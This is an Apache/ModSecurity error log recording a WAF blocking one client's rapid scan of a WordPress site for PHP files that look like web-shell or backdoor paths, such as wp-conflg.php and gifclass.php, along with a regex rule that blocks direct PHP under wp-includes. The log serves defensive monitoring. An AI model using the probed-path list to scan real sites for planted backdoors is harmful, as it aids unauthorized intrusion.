[Thu Apr 02 13:16:42.779692 2026] [:error] [pid 37543:tid 37546] [client 4.213.99.137:1246] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mga.php"] [unique_id "ac37unhdk2bEYJCvILZ8MgAAAUE"]
[Thu Apr 02 13:16:43.063394 2026] [:error] [pid 37543:tid 37553] [client 4.213.99.137:1998] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maxro.php"] [unique_id "ac37u3hdk2bEYJCvILZ8NAAAAUg"]
[Thu Apr 02 13:16:43.347380 2026] [:error] [pid 29467:tid 29489] [client 4.213.99.137:1511] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maxro.php"] [unique_id "ac37u74VUBFCJAq-WOmb_wAAARM"]
[Thu Apr 02 13:16:43.644134 2026] [:error] [pid 37543:tid 37567] [client 4.213.99.137:1501] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maxro.php"] [unique_id "ac37u3hdk2bEYJCvILZ8NQAAAVY"]
[Thu Apr 02 13:16:43.931448 2026] [:error] [pid 59305:tid 59322] [client 4.213.99.137:1507] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maxro.php"] [unique_id "ac37u6r2tV4rDwKFxKeulwAAAM0"]
[Thu Apr 02 13:16:44.229995 2026] [:error] [pid 59305:tid 59330] [client 4.213.99.137:1520] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/agg.php"] [unique_id "ac37vKr2tV4rDwKFxKeumAAAANU"]
[Thu Apr 02 13:16:44.521418 2026] [:error] [pid 23927:tid 23943] [client 4.213.99.137:2036] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/agg.php"] [unique_id "ac37vEsZwqCndhl9uKAFmwAAAY4"]
[Thu Apr 02 13:16:44.809922 2026] [:error] [pid 29467:tid 29473] [client 4.213.99.137:1505] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/agg.php"] [unique_id "ac37vL4VUBFCJAq-WOmcAwAAAQM"]
[Thu Apr 02 13:16:45.116185 2026] [:error] [pid 23927:tid 23937] [client 4.213.99.137:1483] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/agg.php"] [unique_id "ac37vUsZwqCndhl9uKAFnAAAAYg"]
[Thu Apr 02 13:16:45.404588 2026] [:error] [pid 23927:tid 23945] [client 4.213.99.137:2026] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "ac37vUsZwqCndhl9uKAFnwAAAZA"]
[Thu Apr 02 13:16:45.716587 2026] [:error] [pid 23927:tid 23935] [client 4.213.99.137:1491] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "ac37vUsZwqCndhl9uKAFoAAAAYY"]
[Thu Apr 02 13:16:46.011018 2026] [:error] [pid 59201:tid 59284] [client 4.213.99.137:1474] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "ac37vsAC0Tw8eL6gzZ7LGAAAAJE"]
[Thu Apr 02 13:16:46.299669 2026] [:error] [pid 59305:tid 59326] [client 4.213.99.137:1476] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "ac37vqr2tV4rDwKFxKeumwAAANE"]
[Thu Apr 02 13:16:46.610853 2026] [:error] [pid 23927:tid 23944] [client 4.213.99.137:1513] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "ac37vksZwqCndhl9uKAFowAAAY8"]
[Thu Apr 02 13:16:46.896832 2026] [:error] [pid 23927:tid 23946] [client 4.213.99.137:1249] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "ac37vksZwqCndhl9uKAFpwAAAZE"]
[Thu Apr 02 13:16:47.185102 2026] [:error] [pid 23927:tid 23930] [client 4.213.99.137:2022] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "ac37v0sZwqCndhl9uKAFqQAAAYE"]
[Thu Apr 02 13:16:47.481858 2026] [:error] [pid 23927:tid 23938] [client 4.213.99.137:1254] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "ac37v0sZwqCndhl9uKAFrAAAAYk"]
[Thu Apr 02 13:16:47.790097 2026] [:error] [pid 23927:tid 23937] [client 4.213.99.137:1477] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/G-In.php"] [unique_id "ac37v0sZwqCndhl9uKAFrwAAAYg"]
[Thu Apr 02 13:16:48.086353 2026] [:error] [pid 37543:tid 37555] [client 4.213.99.137:1223] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/G-In.php"] [unique_id "ac37wHhdk2bEYJCvILZ8OQAAAUo"]
[Thu Apr 02 13:16:48.391919 2026] [:error] [pid 23927:tid 23944] [client 4.213.99.137:1267] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/G-In.php"] [unique_id "ac37wEsZwqCndhl9uKAFuAAAAY8"]
[Thu Apr 02 13:16:48.697092 2026] [:error] [pid 29467:tid 29488] [client 4.213.99.137:1499] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/G-In.php"] [unique_id "ac37wL4VUBFCJAq-WOmcCAAAARI"]
[Thu Apr 02 13:16:49.041492 2026] [:error] [pid 59201:tid 59267] [client 4.213.99.137:1510] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "ac37wcAC0Tw8eL6gzZ7LGQAAAIA"]
[Thu Apr 02 13:16:49.333830 2026] [:error] [pid 59201:tid 59282] [client 4.213.99.137:1518] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "ac37wcAC0Tw8eL6gzZ7LGgAAAI8"]
[Thu Apr 02 13:16:49.621597 2026] [:error] [pid 59201:tid 59271] [client 4.213.99.137:2017] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "ac37wcAC0Tw8eL6gzZ7LGwAAAIQ"]
[Thu Apr 02 13:16:49.906011 2026] [:error] [pid 59200:tid 59252] [client 4.213.99.137:1481] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "ac37wbfP26txrdLs3EoydQAAAEw"]
[Thu Apr 02 13:16:50.199518 2026] [:error] [pid 29467:tid 29490] [client 4.213.99.137:1986] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "ac37wr4VUBFCJAq-WOmcCwAAARQ"]
[Thu Apr 02 13:16:50.481627 2026] [:error] [pid 59201:tid 59286] [client 4.213.99.137:1529] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "ac37wsAC0Tw8eL6gzZ7LHQAAAJM"]
[Thu Apr 02 13:16:50.782779 2026] [:error] [pid 29467:tid 29484] [client 4.213.99.137:2047] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "ac37wr4VUBFCJAq-WOmcDgAAAQ4"]
[Thu Apr 02 13:16:51.095286 2026] [:error] [pid 29467:tid 29474] [client 4.213.99.137:1231] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "ac37w74VUBFCJAq-WOmcDwAAAQQ"]
[Thu Apr 02 13:16:51.390957 2026] [:error] [pid 59305:tid 59324] [client 4.213.99.137:1485] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ac37w6r2tV4rDwKFxKeunwAAAM8"]
[Thu Apr 02 13:16:51.715780 2026] [:error] [pid 23927:tid 23940] [client 4.213.99.137:1525] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ac37w0sZwqCndhl9uKAFvQAAAYs"]
[Thu Apr 02 13:16:52.020314 2026] [:error] [pid 37543:tid 37568] [client 4.213.99.137:1526] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ac37xHhdk2bEYJCvILZ8OwAAAVc"]
[Thu Apr 02 13:16:52.390401 2026] [:error] [pid 59305:tid 59321] [client 4.213.99.137:1484] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ac37xKr2tV4rDwKFxKeuoAAAAMw"]
[Thu Apr 02 13:16:52.703057 2026] [:error] [pid 59305:tid 59309] [client 4.213.99.137:2004] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "ac37xKr2tV4rDwKFxKeuogAAAMA"]
[Thu Apr 02 13:16:53.004371 2026] [:error] [pid 23927:tid 23940] [client 4.213.99.137:1512] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "ac37xUsZwqCndhl9uKAFzQAAAYs"]
[Thu Apr 02 13:16:53.299210 2026] [:error] [pid 23927:tid 23952] [client 4.213.99.137:1478] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "ac37xUsZwqCndhl9uKAF0QAAAZc"]
[Thu Apr 02 13:16:53.598516 2026] [:error] [pid 59305:tid 59318] [client 4.213.99.137:1263] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "ac37xar2tV4rDwKFxKeupwAAAMk"]
[Thu Apr 02 13:16:53.917535 2026] [:error] [pid 59200:tid 59257] [client 4.213.99.137:1100] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "ac37xbfP26txrdLs3EoyeQAAAFE"]
[Thu Apr 02 13:16:54.215980 2026] [:error] [pid 54384:tid 54387] [client 4.213.99.137:1532] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "ac37xtWWpaby3TVN7MePRgAAAcE"]
[Thu Apr 02 13:16:54.535339 2026] [:error] [pid 59305:tid 59325] [client 4.213.99.137:1089] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "ac37xqr2tV4rDwKFxKeusQAAANA"]
[Thu Apr 02 13:16:54.834645 2026] [:error] [pid 59305:tid 59330] [client 4.213.99.137:1217] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "ac37xqr2tV4rDwKFxKeutAAAANU"]
[Thu Apr 02 13:16:55.124374 2026] [:error] [pid 29467:tid 29490] [client 4.213.99.137:2046] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "ac37x74VUBFCJAq-WOmcFwAAARQ"]
[Thu Apr 02 13:16:55.434708 2026] [:error] [pid 59200:tid 59249] [client 4.213.99.137:2013] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "ac37x7fP26txrdLs3EoyewAAAEk"]
[Thu Apr 02 13:16:55.729069 2026] [:error] [pid 29467:tid 29488] [client 4.213.99.137:1533] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "ac37x74VUBFCJAq-WOmcGAAAARI"]
[Thu Apr 02 13:16:56.012505 2026] [:error] [pid 59200:tid 59248] [client 4.213.99.137:1522] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "ac37yLfP26txrdLs3EoyggAAAEg"]
[Thu Apr 02 13:16:56.316124 2026] [:error] [pid 59201:tid 59283] [client 4.213.99.137:1519] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "ac37yMAC0Tw8eL6gzZ7LPwAAAJA"]
[Thu Apr 02 13:16:56.673654 2026] [:error] [pid 59194:tid 59235] [client 4.213.99.137:1252] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "ac37yBMpAeV11hcQehwLpgAAABY"]
[Thu Apr 02 13:16:56.956525 2026] [:error] [pid 37543:tid 37562] [client 4.213.99.137:1985] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "ac37yHhdk2bEYJCvILZ8QQAAAVE"]
[Thu Apr 02 13:16:57.249393 2026] [:error] [pid 59194:tid 59227] [client 4.213.99.137:1993] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "ac37yRMpAeV11hcQehwLpwAAAA4"]
[Thu Apr 02 13:16:57.614183 2026] [:error] [pid 54384:tid 54393] [client 4.213.99.137:1219] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "ac37ydWWpaby3TVN7MePWAAAAcc"]
[Thu Apr 02 13:16:57.925403 2026] [:error] [pid 29467:tid 29483] [client 4.213.99.137:1237] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "ac37yb4VUBFCJAq-WOmcHgAAAQ0"]
[Thu Apr 02 13:16:58.364569 2026] [:error] [pid 37543:tid 37551] [client 4.213.99.137:1475] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "ac37ynhdk2bEYJCvILZ8QgAAAUY"]
[Thu Apr 02 13:16:58.661507 2026] [:error] [pid 59201:tid 59286] [client 4.213.99.137:2040] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "ac37ysAC0Tw8eL6gzZ7LRAAAAJM"]
[Thu Apr 02 13:16:59.119357 2026] [:error] [pid 29467:tid 29481] [client 4.213.99.137:1534] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "ac37y74VUBFCJAq-WOmcIwAAAQs"]
[Thu Apr 02 13:16:59.440898 2026] [:error] [pid 29467:tid 29477] [client 4.213.99.137:1508] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "ac37y74VUBFCJAq-WOmcKQAAAQc"]
